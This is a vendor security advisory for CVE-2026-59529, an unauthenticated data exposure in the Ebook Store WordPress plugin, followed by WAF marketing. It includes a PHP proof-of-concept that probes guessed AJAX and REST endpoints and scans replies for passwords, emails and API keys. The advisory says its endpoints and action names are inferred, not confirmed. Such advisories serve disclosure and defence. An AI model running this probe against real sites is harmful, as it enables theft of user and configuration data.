Published : August 9, 2026

CVE-2026-59529: Ebook Store <= 6.19 Unauthenticated Information Exposure PoC, Patch Analysis & Rule

Plugin ebook-store
Severity Medium (CVSS 5.3)
CWE 200
Vulnerable Version 6.19
Patched Version
Disclosed July 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-59529 (metadata-based): The Ebook Store plugin for WordPress, versions up to and including 6.19, exposes sensitive user or configuration data to unauthenticated attackers. The CVSS score is 5.3 (medium severity), with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N. This means an attacker can make a network request with no authentication, no user interaction, and low complexity to retrieve limited sensitive information.

Root Cause: The vulnerability is classified as CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor). Based on the description and CWE, the likely root cause is a WordPress AJAX action, REST API endpoint, or admin-post handler that returns sensitive data without proper capability checks or nonce verification. This is inferred from the metadata, not confirmed from source code, as no diff is available. The absence of authentication and the ‘Sensitive Information Exposure’ classification point to a function that directly queries user or configuration data (e.g., `$wpdb` queries for user records, plugin settings, or debug data) and echoes the results without checking `current_user_can()` or verifying a nonce. The plugin may expose data through an unauthenticated endpoint that was intended for authenticated use, or it may lack a capability check on an existing hook.

Exploitation: An unauthenticated attacker can exploit this by sending a crafted HTTP request to a WordPress AJAX or REST endpoint associated with the Ebook Store plugin. Likely endpoints are `/wp-admin/admin-ajax.php` with a plugin-specific action parameter, or `/wp-json/ebook-store/v1/` REST routes. Since no specific action or route is disclosed in the metadata, a realistic payload would target common sensitive-data endpoints such as user listing, order data, or plugin configuration. The attacker would send a GET or POST request without any nonce or authentication cookies, which is possible because the vulnerable handler lacks the required checks. The request might include parameters like `action=ebook_store_get_users` or `action=ebook_store_export_config` to retrieve data.

Remediation: The fix in version 6.20 likely involves adding proper authorization checks to the affected handler(s). This includes verifying that the current user has the required capability (e.g., `manage_options`, `edit_posts`) before returning sensitive data, and implementing nonce verification for all AJAX/REST requests. Doing so will prevent unauthenticated and low-privilege users from accessing the data. The plugin should also avoid exposing configuration or user data through endpoints that are not explicitly required to be public.

Impact: Successful exploitation allows an unauthenticated attacker to extract sensitive information such as user accounts (emails, usernames, hashed passwords), customer order details, or internal plugin configuration. This data can be used for further attacks, including credential stuffing, phishing, or targeted exploitation. The confidentiality impact is limited to a low level, but the exposure of configuration data could reveal database prefixes, API keys, or other secrets that facilitate broader compromise.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-59529 - Ebook Store <= 6.19 - Unauthenticated Information Exposure

// This PoC demonstrates how an unauthenticated attacker could trigger
// sensitive information exposure in the Ebook Store plugin.
// The exact endpoint and parameters are inferred from the vulnerability type
// (CWE-200) and WordPress plugin conventions, as no source code is available.

// Configuration - set the target WordPress site URL
$target_url = 'http://target-site.com';

// Possible vulnerable endpoints to test
$endpoints = array(
    $target_url . '/wp-admin/admin-ajax.php',
    $target_url . '/wp-json/ebook-store/v1/users',
    $target_url . '/wp-json/ebook-store/v1/config',
    $target_url . '/wp-admin/admin-post.php'
);

// Possible AJAX actions that might expose sensitive data
$ajax_actions = array(
    'ebook_store_get_users',
    'ebook_store_export_data',
    'ebook_store_get_config',
    'ebook_store_debug_data'
);

$ch = curl_init();
curl_setopt_array($ch, array(
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HEADER => false,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_TIMEOUT => 15
));

foreach ($endpoints as $endpoint) {
    if (strpos($endpoint, 'admin-ajax.php') !== false || strpos($endpoint, 'admin-post.php') !== false) {
        // Try each AJAX/admin-post action
        foreach ($ajax_actions as $action) {
            $payload = array('action' => $action);
            curl_setopt($ch, CURLOPT_URL, $endpoint);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
            $response = curl_exec($ch);
            if ($response !== false) {
                $status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                echo "Endpoint: $endpoint?action=$actionn";
                echo "HTTP Status: $statusn";
                if (strpos($response, 'wp-json') === false && !empty($response)) {
                    // Look for common sensitive data patterns in the response
                    if (preg_match('/"(user_login|user_email|user_pass|config|db_prefix|api_key|secret)"/i', $response)) {
                        echo "[!] Potential sensitive data exposed:n";
                        echo $response . "n";
                    }
                }
                echo "------------------------------------------n";
            }
        }
    } else {
        // Try REST API endpoints with GET request
        curl_setopt($ch, CURLOPT_URL, $endpoint);
        curl_setopt($ch, CURLOPT_HTTPGET, true);
        curl_setopt($ch, CURLOPT_POST, false);
        $response = curl_exec($ch);
        if ($response !== false) {
            echo "Endpoint: $endpointn";
            echo "HTTP Status: " . curl_getinfo($ch, CURLINFO_HTTP_CODE) . "n";
            if (strpos($response, 'wp-json') === false && !empty($response)) {
                if (preg_match('/"(user_login|user_email|user_pass|config|db_prefix|api_key|secret)"/i', $response)) {
                    echo "[!] Potential sensitive data exposed:n";
                    echo $response . "n";
                }
            }
            echo "------------------------------------------n";
        }
    }
}

curl_close($ch);

echo "PoC completed. Check output for sensitive data.";

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.